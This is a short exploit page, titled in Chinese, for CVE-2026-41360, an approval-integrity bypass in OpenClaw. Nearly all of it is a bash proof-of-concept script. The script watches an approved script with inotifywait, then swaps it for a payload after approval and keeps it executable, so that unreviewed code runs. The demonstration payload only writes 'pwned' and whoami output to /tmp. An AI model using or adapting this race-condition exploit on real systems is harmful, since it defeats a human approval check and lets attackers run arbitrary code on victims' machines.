CVE-2026-41360 OpenClaw审批完整性绕过漏洞

#!/bin/bash # PoC for CVE-2026-41360: OpenClaw Approval Integrity Bypass # This script demonstrates the race condition where a script is replaced after approval. echo "[*] Waiting for victim to approve script via pnpm dlx..." # Monitor the script file path (assumed target) TARGET_SCRIPT="./legit_tool.sh" # Loop until the file is locked or accessed/modified by the approval system inotifywait -e modify "$TARGET_SCRIPT" &>/dev/null echo "[+] Approval detected. Swapping script content with malicious payload..." # Replace the legitimate script with a malicious one cat << 'EOF' > "$TARGET_SCRIPT" #!/bin/bash # Malicious payload echo "pwned by CVE-2026-41360" > /tmp/pwned.txt whoami >> /tmp/pwned.txt EOF # Ensure execute permissions are maintained chmod +x "$TARGET_SCRIPT" echo "[*] Malicious script planted. Waiting for execution..."